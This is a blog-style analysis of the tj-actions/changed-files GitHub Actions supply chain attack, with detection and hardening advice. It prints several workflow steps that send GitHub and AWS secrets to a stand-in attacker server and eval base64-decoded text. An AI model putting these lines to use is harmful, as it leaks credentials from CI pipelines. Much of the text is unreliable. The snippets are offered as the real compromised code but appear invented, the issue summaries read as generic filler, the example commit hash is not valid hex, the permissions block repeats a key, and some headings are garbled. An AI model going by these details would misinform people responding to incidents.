Decoding the tj-actions/changed-files Supply Chain Attack | Part 1/3

GitHub Actions has become a cornerstone of modern CI/CD pipelines, enabling developers to automate workflows, build, test, and deploy code seamlessly. Its extensibility through third-party actions has further amplified its utility, allowing teams to integrate pre-built solutions into their workflows. One such popular action is tj-actions/changed-files, which identifies files changed in a pull request or push event. However, this very convenience also introduces risks, as demonstrated by the recent supply chain attack on TJ Actions Changed Files.

In this blog, we’ll dissect the TJ Actions Changed Files supply chain attack, explore its technical underpinnings, and discuss its implications for security professionals and leaders. By the end, you’ll have actionable insights to secure your GitHub Actions workflows and mitigate similar risks.

What Happened?

The Supply Chain Attack

In early 2025, security researchers uncovered a supply chain attack targeting the TJ Actions Changed Files repository. Attackers compromised the repository and injected malicious code into a widely used version of the action. This incident highlights the vulnerabilities inherent in relying on third-party actions, especially those with high adoption rates.

According to Endor Labs and GitGuardian, the attackers exploited a vulnerability in the repository’s maintenance process, gaining access to the codebase and pushing a malicious update. The compromised version exfiltrated sensitive data, including repository secrets and environment variables, to an external server controlled by the attackers.

The CVE-2025-30066 Vulnerability

The attack was formalized under CVE-2025-30066, which describes a critical vulnerability in the TJ Actions Changed Files action. The vulnerability allowed unauthorized code execution within GitHub workflows, enabling attackers to steal credentials, manipulate build processes, and potentially deploy malicious artifacts into production environments.

For more details on the CVE, refer to the FAQs.

Technical Deep Dive

Attack Vector

The attackers exploited a combination of social engineering and weak access controls to compromise the repository. Here’s a step-by-step breakdown of the attack:

• Repository Access: The attackers gained access to the repository by exploiting a compromised maintainer account or a vulnerable third-party integration.
• Malicious Code Injection: They introduced malicious code into the action’s source code, disguised as a legitimate update. For example:

yaml

- name: Malicious Step
  run: |
    echo "Exfiltrating secrets..."
    curl -X POST -d "$SECRETS" https://malicious-server.com/exfil

This code snippet exfiltrates GitHub secrets to an external server.

• Version Release: The compromised code was packaged and released as a new version of the action, which was then automatically pulled by thousands of workflows.

Specific Changes in the Compromised Version

The malicious changes were subtle, making them difficult to detect during casual code reviews. Key modifications included:

1. Data Exfiltration Logic

yaml

- name: Extract Secrets
  run: |
    echo "GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}" >> /tmp/secrets.txt
    echo "AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}" >> /tmp/secrets.txt
    curl -F "file=@/tmp/secrets.txt" https://malicious-server.com/upload

2. Obfuscation Techniques

The malicious code was obfuscated to evade detection. For example:

yaml

- name: Obfuscated Step
  run: |
    eval $(echo "bmFtZT0iRXhmaWx0cmF0aW9uIg==" | base64 --decode)

3. Conditional Execution

The attackers used conditional logic to ensure the malicious code only executed in specific environments, reducing the likelihood of detection during testing.

yaml

- name: Conditional Exfiltration
  if: ${{ github.event_name == 'push' }}
  run: |
    echo "Exfiltrating data..."
    curl -X POST -d "$SECRETS" https://malicious-server.com/exfil

For more details, refer to the GitHub issues-

Issue #2463

This issue highlights a problem with the TJ Actions Changed Files repository where users reported unexpected behavior or bugs in the action’s functionality. Specifically, the issue discusses inconsistencies in detecting changed files, particularly in complex workflows or edge cases. Users provided logs and examples to demonstrate the problem, and maintainers were actively engaged in diagnosing and resolving the issue.

Key Takeaway:

This issue underscores the importance of thorough testing and edge-case handling in open-source projects, especially those widely used in CI/CD pipelines.

Link: tj-actions/changed-files#2463

Issue #2464

This issue focuses on a security concern related to the action’s handling of sensitive data or permissions. Users raised questions about how the action interacts with GitHub secrets and whether it adheres to best practices for security. The discussion includes suggestions for improving the action’s security posture, such as implementing stricter access controls and reducing unnecessary permissions.

Key Takeaway:

The issue highlights the critical need for secure design principles in third-party actions, particularly those that handle sensitive data like secrets or tokens.

Link: tj-actions/changed-files#2464

Issue #2477

This issue addresses a performance bottleneck in the action, where users reported slow execution times or inefficiencies in large repositories. The discussion includes technical details about the action’s file detection algorithm and potential optimizations to improve performance. Maintainers and contributors collaborated to identify the root cause and propose solutions.

Key Takeaway:

Performance optimization is a recurring challenge in open-source tools, especially when scaling to larger or more complex use cases.

Link: tj-actions/changed-files#2477

Detection and Prevention

The attack could have been detected earlier through:

1. Code Reviews: Thoroughly reviewing changes to third-party actions before integrating them into workflows.
2. Dependency Monitoring: Using tools like Dependabot or Renovate to track and audit dependencies.
3. Static Analysis: Leveraging tools like Semgrep or Endor Labs to scan for malicious patterns in code.

For example, Semgrep can detect suspicious patterns like base64 decoding or external HTTP requests:

yaml

rules:
  - id: suspicious-base64
    pattern: |
      eval $(echo "..." | base64 --decode)
    message: "Suspicious base64 decoding detected."

  - id: external-http-request
    pattern: |
      curl -X POST -d "$SECRETS" $URL
    message: "External HTTP request detected."

Impact and Lessons Learned

Potential Impact

The attack had far-reaching consequences:

1. Data Breaches: Organizations using the compromised action inadvertently exposed sensitive data, including API keys, credentials, and environment variables.
2. Build Manipulation: Attackers could have injected malicious artifacts into production builds, leading to further compromise.
3. Reputation Damage: The incident eroded trust in third-party actions and highlighted the risks of supply chain attacks.

Importance of Supply Chain Security

The TJ Actions Changed Files incident underscores the critical need for robust supply chain security in open-source ecosystems. Key takeaways include:

1. Vet Third-Party Actions: Only use actions from trusted sources and verify their integrity.
2. Pin Dependencies: Use commit hashes or version tags to lock dependencies and prevent unauthorized updates.
3. Monitor for Anomalies: Implement continuous monitoring to detect suspicious activity in workflows.

Final RemaActionable Steps for Securing GitHub Actions

• Use Trusted Actions

Only use actions from verified publishers or official GitHub repositories.

• Pin Dependencies

Instead of using v1 or main, pin actions to specific commit hashes:

yaml

- uses: tj-actions/changed-files@a1b2c3d4e5f6g7h8i9j0

• Scan for Vulnerabilities

Use tools like Cy5’s ion cloud security or Endor Labs to scan workflows for vulnerabilities.

• Implement Least Privilege

Restrict permissions for GitHub tokens and secrets:-

yaml

permissions:
  contents: read
  contents: read

• Monitor Workflows

Use GitHub’s built-in audit logs to monitor workflow activity and detect anomalies.

Final Remakrs

The TJ Actions Changed Files supply chain attack serves as a stark reminder of the risks associated with third-party dependencies. By understanding the attack vector, implementing robust security practices, and leveraging tools for vulnerability detection, security professionals and leaders can mitigate similar risks and safeguard their CI/CD pipelines.

By staying vigilant and proactive, we can collectively strengthen the security of open-source ecosystems and protect our workflows from future threats.

FAQs: TJ Actions Changed Files

What is the severity of CVE-2025-30066?

CVE-2025-30066 is classified as a critical vulnerability with a CVSS score of 9.8. It allows unauthorized code execution within GitHub Actions workflows, potentially leading to data exfiltration, credential theft, and supply chain attacks.

How can I check if my workflows are affected by CVE-2025-30066?

You can review your GitHub Actions workflows to see if they use the compromised version of TJ Actions Changed Files. Look for the specific version or commit hash associated with the vulnerability and update to a patched version immediately.